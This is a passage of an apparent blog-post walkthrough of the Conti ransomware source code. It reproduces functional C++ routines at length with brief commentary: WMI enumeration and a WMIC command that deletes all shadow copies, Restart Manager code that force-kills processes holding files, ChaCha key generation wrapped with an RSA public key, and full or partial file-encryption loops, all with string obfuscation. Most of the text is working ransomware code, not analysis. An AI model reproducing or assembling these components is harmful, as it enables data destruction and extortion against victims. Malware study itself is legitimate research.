hres = pContext->SetValue(Arch, 0, &vArchitecture);

morphcode(hres);

pVariantClear(&vArchitecture);

if (FAILED(hres))
{
pCoUninitialize();
return FALSE; // Program has failed.
}

}
Connect to WMI through the IWbemLocator::ConnectServer method

The WMI namespace root/cimv2 is the default namespace and contains classes for computer hardware and configuration.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
BSTR Path = pSysAllocString(OBFW(L"ROOT\\CIMV2"));

hres = pLoc->ConnectServer(
Path, // Object path of WMI namespace
NULL, // User name. NULL = current user
NULL, // User password. NULL = current
0, // Locale. NULL indicates current
NULL, // Security flags.
0, // Authority (for example, Kerberos)
pContext, // Context object
&pSvc // pointer to IWbemServices proxy
);

morphcode(pSvc);

if (FAILED(hres))
{

pLoc->Release();
pCoUninitialize();
return FALSE; // Program has failed.
}
Set security levels on the proxy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
hres = (HRESULT)pCoSetProxyBlanket(
pSvc, // Indicates the proxy to set
RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx
RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx
NULL, // Server principal name
RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx
RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx
NULL, // client identity
EOAC_NONE // proxy capabilities
);

morphcode(hres);

if (FAILED(hres))
{
pSvc->Release();
pLoc->Release();
pCoUninitialize();
return FALSE; // Program has failed.
}
Use the IWbemServices pointer to make requests of WMI
Get the data from the query in step 6

this is the main code of the function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
BSTR WqlStr = pSysAllocString(OBFW(L"WQL"));
BSTR Query = pSysAllocString(OBFW(L"SELECT * FROM Win32_ShadowCopy"));

IEnumWbemClassObject* pEnumerator = NULL;
hres = pSvc->ExecQuery(
WqlStr,
Query,
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
NULL,
&pEnumerator);

morphcode(hres);

if (FAILED(hres))
{
pSvc->Release();
pLoc->Release();
pCoUninitialize();
return 1; // Program has failed.
}

get the data from the query and Delete the shadowcopy.

generate the delete shadowcopy command, then use the Enumerator to delete every one of them.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
IWbemClassObject* pclsObj = NULL;
ULONG uReturn = 0;

morphcode(pEnumerator);

while (pEnumerator)
{
HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1,
&pclsObj, &uReturn);

morphcode(hr);

if (0 == uReturn)
{
break;
}

VARIANT vtProp;

// Get the value of the Name property
hr = pclsObj->Get(OBFW(L"ID"), 0, &vtProp, 0, 0);

morphcode(hr);

WCHAR CmdLine[1024];
RtlSecureZeroMemory(CmdLine, sizeof(CmdLine));
wsprintfW(CmdLine, OBFW(L"cmd.exe /c C:\\Windows\\System32\\wbem\\WMIC.exe shadowcopy where \"ID='%s'\" delete"), vtProp.bstrVal);

morphcode();

LPVOID Old;
pWow64DisableWow64FsRedirection(&Old);

morphcode(Old);

CmdExecW(CmdLine);
pWow64RevertWow64FsRedirection(Old);

morphcode(Old);

pVariantClear(&vtProp);
pclsObj->Release();
}
Cleanup
1
2
3
4
5
6
7
8
if (pContext) {
pContext->Release();
}
pSvc->Release();
pLoc->Release();
pEnumerator->Release();
pCoUninitialize();
}

CmdExecW

first set the STARTUPINFOW’s property——wShowWindow, then CreateProcess using the arg Cmdline passed in.

CheckForDataBases

generate a long list of Extensions that are database.And check the file extension if in the Database Extension List.

1
2
3
4
5
6
7
8
9
10
INT Count = sizeof(Extensions) / sizeof(LPWSTR);

for (INT i = 0; i < Count; i++) {

morphcode((LPVOID)Filename);

if (pStrStrIW(Filename, Extensions[i])) {
return TRUE;
}
}

CheckForVirtualMachines

Extension

OBFW(L”.vdi”),OBFW(L”.vhd”),OBFW(L”.vmdk”),OBFW(L”.pvm”),OBFW(L”.vmem”),OBFW(L”.vmsn”),OBFW(L”.vmsd”),OBFW(L”.nvram”),OBFW(L”.vmx”),OBFW(L”.raw”),OBFW(L”.qcow2”),OBFW(L”.subvol”),OBFW(L”.bin”),OBFW(L”.vsv”),OBFW(L”.avhd”),OBFW(L”.vmrs”),OBFW(L”.vhdx”),OBFW(L”.avdx”),OBFW(L”.vmcx”),OBFW(L”.iso”)

then check the file extension if in the Virtual Machine Extension List.

WriteFullData

a normal write function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
STATIC
BOOL
WriteFullData(
__in HANDLE hFile,
__in LPVOID Buffer,
__in DWORD Size
)
{
DWORD TotalWritten = 0;
DWORD BytesWritten = 0;
DWORD BytesToWrite = Size;
DWORD Offset = 0;

while (TotalWritten != Size)
{

morphcode(TotalWritten);

if (!pWriteFile(hFile, (LPBYTE)Buffer + Offset, BytesToWrite, &BytesWritten, NULL) || !BytesWritten) {

return FALSE;

}

morphcode(BytesWritten);

Offset += BytesWritten;

morphcode(Offset);

TotalWritten += BytesWritten;

morphcode(BytesToWrite);

BytesToWrite -= BytesWritten;

}

return TRUE;
}

KillFileOwner

getapi::IsRestartManagerLoaded()

Restart Manager session,so how can we judge a session is loaded.

We can find the code that modify the value in the anti-hook.cpp, if the Rstrtmgr.dll is loaded, this means the Manager session is loaded.

image-20220428190326952

pRmStartSession

Starts a new Restart Manager session. A maximum of 64 Restart Manager sessions per user session can be open on the system at the same time. When this function starts a session, it returns a session handle and session key that can be used in subsequent calls to the Restart Manager API.

pRmRegisterResources

Registers resources to a Restart Manager session. The Restart Manager uses the list of resources registered with the session to determine which applications and services must be shut down and restarted。Resources can be identified by filenames, service short names, or RM_UNIQUE_PROCESS structures that describe running applications. The RmRegisterResources function can be used by a primary or secondary installer.

pRmGetList

Gets a list of all applications and services that are currently using resources that have been registered with the Restart Manager session.

pRmShutdown

Initiates the shutdown of applications. This function can only be called from the installer that started the Restart Manager session using the RmStartSession function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
BOOL KillFileOwner(
__in LPCWSTR PathName)
{
if (!getapi::IsRestartManagerLoaded()) {

logs::Write(OBFW(L"Restart manager not loaded."));
return FALSE;

}

BOOL Result = FALSE;
DWORD dwSession = 0x0;
DWORD ret = 0;
WCHAR szSessionKey[CCH_RM_SESSION_KEY + 1];
RtlSecureZeroMemory(szSessionKey, sizeof(szSessionKey));

if (pRmStartSession(&dwSession, 0x0, szSessionKey) == ERROR_SUCCESS)
{

if (pRmRegisterResources(dwSession, 1, &PathName,
0, NULL, 0, NULL) == ERROR_SUCCESS)
{

DWORD dwReason = 0x0;
UINT nProcInfoNeeded = 0;
UINT nProcInfo = 0;
PRM_PROCESS_INFO ProcessInfo = NULL;
RtlSecureZeroMemory(&ProcessInfo, sizeof(ProcessInfo));

ret = (DWORD)pRmGetList(dwSession, &nProcInfoNeeded,
&nProcInfo, NULL, &dwReason);


if (ret != ERROR_MORE_DATA || !nProcInfoNeeded) {

pRmEndSession(dwSession);
return FALSE;

}

ProcessInfo = (PRM_PROCESS_INFO)memory::Alloc(sizeof(RM_PROCESS_INFO) * nProcInfoNeeded);
if (!ProcessInfo) {

pRmEndSession(dwSession);
return FALSE;

}

nProcInfo = nProcInfoNeeded;
ret = (DWORD)pRmGetList(dwSession, &nProcInfoNeeded,
&nProcInfo, ProcessInfo, &dwReason);

if (ret != ERROR_SUCCESS || !nProcInfoNeeded) {

memory::Free(ProcessInfo);
pRmEndSession(dwSession);
return FALSE;

}

DWORD ProcessId = (DWORD)pGetProcessId(pGetCurrentProcess());

for (INT i = 0; i < nProcInfo; i++) {

if (ProcessInfo[i].Process.dwProcessId == ProcessId) {

memory::Free(ProcessInfo);
pRmEndSession(dwSession);
return FALSE;

}

process_killer::PPID Pid = NULL;
TAILQ_FOREACH(Pid, g_WhitelistPids, Entries) {

if (ProcessInfo[i].Process.dwProcessId == Pid->dwProcessId) {

memory::Free(ProcessInfo);
pRmEndSession(dwSession);
return FALSE;

}

}

}

Result = pRmShutdown(dwSession, RmForceShutdown, NULL) == ERROR_SUCCESS;
memory::Free(ProcessInfo);

}

pRmEndSession(dwSession);
}

return Result;
}

GenKey

encrypt the public key. The first 32 bytes is the chacha encryption’s key, and the next 4 byte is the IV.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
STATIC
BOOL
GenKey(
__in HCRYPTPROV Provider,
__in HCRYPTKEY PublicKey,
__in cryptor::LPFILE_INFO FileInfo
)
{
DWORD dwDataLen = 40;

morphcode(FileInfo);

if (!pCryptGenRandom(Provider, 32, FileInfo->ChachaKey)) {
return FALSE;
}

morphcode(FileInfo->ChachaKey);

if (!pCryptGenRandom(Provider, 8, FileInfo->ChachaIV)) {
return FALSE;
}

morphcode(FileInfo->ChachaIV);

RtlSecureZeroMemory(&FileInfo->CryptCtx, sizeof(FileInfo->CryptCtx));
ECRYPT_keysetup(&FileInfo->CryptCtx, FileInfo->ChachaKey, 256, 64);
ECRYPT_ivsetup(&FileInfo->CryptCtx, FileInfo->ChachaIV);

memory::Copy(FileInfo->EncryptedKey, FileInfo->ChachaKey, 32);
memory::Copy(FileInfo->EncryptedKey + 32, FileInfo->ChachaIV, 8);

morphcode(FileInfo->EncryptedKey);

if (!pCryptEncrypt(PublicKey, 0, TRUE, 0, FileInfo->EncryptedKey, &dwDataLen, 524)) {
return FALSE;
}

return TRUE;
}

CheckContiPatter

g_ContiPattern is a global arg that has a certain value.Read 16 bytes of the file,And check with below.

STATIC CONST BYTE g_ContiPattern[16] = { 0xab, 0xff, 0x63, 0xa1, 0x6f, 0xa2 , 0x6e, 0x6e, 0xa3, 0x74, 0x69, 0xbf, 0x4c, 0xdd, 0xff, 0xa1 };

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
STATIC
BOOL
CheckContiPattern(
__in cryptor::LPFILE_INFO FileInfo,
__out PBOOL Error
)
{
LARGE_INTEGER Pointer;
Pointer.QuadPart = -16;

if (!pSetFilePointerEx(FileInfo->FileHandle, Pointer, NULL, FILE_END)) {

*Error = TRUE;
return FALSE;

}

DWORD TotalRead = 0;
DWORD BytesRead = 0;
DWORD Offset = 0;
DWORD BytesToRead = 16;
BYTE Buffer[16];
RtlSecureZeroMemory(Buffer, sizeof(Buffer));

while (TotalRead != 16) {

if (!pReadFile(FileInfo->FileHandle, Buffer + Offset, BytesToRead, &BytesRead, NULL) || !BytesRead) {

*Error = TRUE;
return FALSE;

}

TotalRead += BytesRead;
Offset += BytesRead;
BytesToRead -= BytesRead;

}

*Error = FALSE;
if (!memcmp(g_ContiPattern, Buffer, 16)) {
return TRUE;
}

return FALSE;
}

WriteEncryptInfo

write the Encryption note to the txt.

mainly use the pSetFilePointerEx to make it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
STATIC
BOOL
WriteEncryptInfo(
__in cryptor::LPFILE_INFO FileInfo,
__in BYTE EncryptMode,
__in BYTE DataPercent
)
{
BOOL Success;
LARGE_INTEGER Offset;
BYTE Buffer[10];
Buffer[0] = EncryptMode;
Buffer[1] = DataPercent;
memory::Copy(Buffer + 2, &FileInfo->FileSize, 8);

Offset.QuadPart = 0;
if (!pSetFilePointerEx(FileInfo->FileHandle, Offset, NULL, FILE_END)) {

logs::Write(OBFW(L"Can't write key for file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
return FALSE;

}

Success = WriteFullData(FileInfo->FileHandle, FileInfo->EncryptedKey, 524);
if (!Success) {

logs::Write(OBFW(L"Can't write key for file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
return FALSE;

}

Success = WriteFullData(FileInfo->FileHandle, Buffer, 10);
if (!Success) {

logs::Write(OBFW(L"Can't write key for file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
return FALSE;

}

pSetEndOfFile(FileInfo->FileHandle);
Success = (BOOL)pSetFilePointerEx(FileInfo->FileHandle, Offset, NULL, FILE_BEGIN);
if (!Success) {
logs::Write(OBFW(L"Can't write key for file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
}

return Success;
}

OpenFileEncrypt

pGetFileAttributesW

pSetFileAttributesW

FileInfo->FileHandle = pCreateFileW(FileInfo->Filename,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);

KillFileOwner

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
STATIC
DWORD
OpenFileEncrypt(__in cryptor::LPFILE_INFO FileInfo)
{
DWORD Attributes = (DWORD)pGetFileAttributesW(FileInfo->Filename);
if (Attributes != INVALID_FILE_ATTRIBUTES) {
if (Attributes & FILE_ATTRIBUTE_READONLY) {
pSetFileAttributesW(FileInfo->Filename, Attributes ^ FILE_ATTRIBUTE_READONLY);
}
}

FileInfo->FileHandle = pCreateFileW(FileInfo->Filename,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);

DWORD LastError = (DWORD)pGetLastError();
if (FileInfo->FileHandle == INVALID_HANDLE_VALUE)
{

if (LastError == ERROR_SHARING_VIOLATION ||
LastError == ERROR_LOCK_VIOLATION)
{

logs::Write(OBFW(L"File %s is already open by another program."), FileInfo->Filename);

if (KillFileOwner(FileInfo->Filename))
{

logs::Write(OBFW(L"KillFileOwner for file %s - success"), FileInfo->Filename);

FileInfo->FileHandle = pCreateFileW(FileInfo->Filename,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);

if (FileInfo->FileHandle == INVALID_HANDLE_VALUE) {

logs::Write(OBFW(L"Can't open file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
return FALSE;

}

}
else {

logs::Write(OBFW(L"KillFileOwner for file %s - error. GetLastError = %lu."), FileInfo->Filename, pGetLastError());
return FALSE;

}

}
else {

logs::Write(OBFW(L"Can't open file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
return FALSE;

}

}

LARGE_INTEGER FileSize;
if (!pGetFileSizeEx(FileInfo->FileHandle, &FileSize) || !FileSize.QuadPart) {

logs::Write(OBFW(L"Can't get file size %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
CloseHandle(FileInfo->FileHandle);
return FALSE;

}

FileInfo->FileSize = FileSize.QuadPart;
return TRUE;
}

EncryptHeader

encrypt the file’s first 1048576 byte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
STATIC
BOOL
EncryptHeader(
__in cryptor::LPFILE_INFO FileInfo,
__in LPBYTE Buffer,
__in HCRYPTPROV CryptoProvider,
__in HCRYPTKEY PublicKey
)
{
BOOL Success = FALSE;
DWORD BytesRead = 0;
DWORD BytesToRead = 0;
DWORD BytesToWrite = 0;
LONGLONG TotalRead = 0;
LONGLONG BytesToEncrypt;
LARGE_INTEGER Offset;

BytesToEncrypt = 1048576;

while (TotalRead < BytesToEncrypt) {

morphcode(TotalRead);

LONGLONG BytesLeft = BytesToEncrypt - TotalRead;

morphcode(BytesLeft);

BytesToRead = BytesLeft > BufferSize ? BufferSize : (DWORD)BytesLeft;

morphcode(BytesToRead);

Success = (BOOL)pReadFile(FileInfo->FileHandle, Buffer, BytesToRead, &BytesRead, NULL);
if (!Success || !BytesRead) {
break;
}

morphcode(BytesRead);

TotalRead += BytesRead;
BytesToWrite = BytesRead;

morphcode(TotalRead);

ECRYPT_encrypt_bytes(&FileInfo->CryptCtx, Buffer, Buffer, BytesRead);

morphcode(Buffer);

Offset.QuadPart = -((LONGLONG)BytesRead);
if (!pSetFilePointerEx(FileInfo->FileHandle, Offset, NULL, FILE_CURRENT)) {
break;
}

morphcode(Offset.QuadPart);

Success = WriteFullData(FileInfo->FileHandle, Buffer, BytesToWrite);
if (!Success) {
break;
}

morphcode(BytesToWrite);

}

return TRUE;
}

EncryptPartly

if the file is Virtual Machine Extension, then EncryptPartly

image-20220429142152244

if the filesize is over 5242880 byte, then EncryptPartly.

image-20220429142228715

Judge the file size and decide how many percent the code wanna Encrypt.

the global::GetEncrypSize return value is 50, so if the filesize is over 5242880, it will encrypt the 10% size data of this file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
STATIC
BOOL
EncryptPartly(
__in cryptor::LPFILE_INFO FileInfo,
__in LPBYTE Buffer,
__in HCRYPTPROV CryptoProvider,
__in HCRYPTKEY PublicKey,
__in BYTE DataPercent
)
{
BOOL Success = FALSE;
DWORD BytesRead = 0;
DWORD BytesToRead = 0;
DWORD BytesToWrite = 0;
LONGLONG TotalRead = 0;
LONGLONG BytesToEncrypt;
LARGE_INTEGER Offset;
LONGLONG PartSize = 0;
LONGLONG StepSize = 0;
INT StepsCount = 0;

switch (DataPercent) {
case 10:
PartSize = (FileInfo->FileSize / 100) * 4;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 15:
PartSize = (FileInfo->FileSize / 100) * 5;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 20:
PartSize = (FileInfo->FileSize / 100) * 7;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 25:
PartSize = (FileInfo->FileSize / 100) * 9;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 30:
PartSize = (FileInfo->FileSize / 100) * 10;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 35:
PartSize = (FileInfo->FileSize / 100) * 12;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 40:
PartSize = (FileInfo->FileSize / 100) * 14;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 50:
PartSize = (FileInfo->FileSize / 100) * 10;
morphcode(PartSize);
StepsCount = 5;
StepSize = PartSize;
morphcode(StepSize);
break;

case 60:
PartSize = (FileInfo->FileSize / 100) * 20;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 70:
PartSize = (FileInfo->FileSize / 100) * 23;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 80:
PartSize = (FileInfo->FileSize / 100) * 27;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

default:
return FALSE;
}

for (INT i = 0; i < StepsCount; i++) {

TotalRead = 0;
BytesToEncrypt = PartSize;
morphcode(BytesToEncrypt);

if (i != 0) {

Offset.QuadPart = StepSize;
if (!pSetFilePointerEx(FileInfo->FileHandle, Offset, NULL, FILE_CURRENT)) {
break;
}

morphcode(Offset.QuadPart);

}

while (TotalRead < BytesToEncrypt) {

morphcode(TotalRead);

LONGLONG BytesLeft = BytesToEncrypt - TotalRead;
morphcode(BytesLeft);
BytesToRead = BytesLeft > BufferSize ? BufferSize : (DWORD)BytesLeft;

morphcode(BytesToRead);

Success = (BOOL)pReadFile(FileInfo->FileHandle, Buffer, BytesToRead, &BytesRead, NULL);
if (!Success || !BytesRead) {
break;
}

morphcode(BytesRead);

TotalRead += BytesRead;
BytesToWrite = BytesRead;

morphcode(TotalRead);


ECRYPT_encrypt_bytes(&FileInfo->CryptCtx, Buffer, Buffer, BytesRead);

Offset.QuadPart = -((LONGLONG)BytesRead);
if (!pSetFilePointerEx(FileInfo->FileHandle, Offset, NULL, FILE_CURRENT)) {
break;
}

morphcode(Offset.QuadPart);

Success = WriteFullData(FileInfo->FileHandle, Buffer, BytesToWrite);
if (!Success) {
break;
}

morphcode(BytesToWrite);

}

}

return TRUE;
}

EncryptFull

It’s the same as EncryptPartly function,just remove the percent argument.

morphcode

本文采用CC-BY-SA-3.0协议,转载请注明出处
Author: scr1pt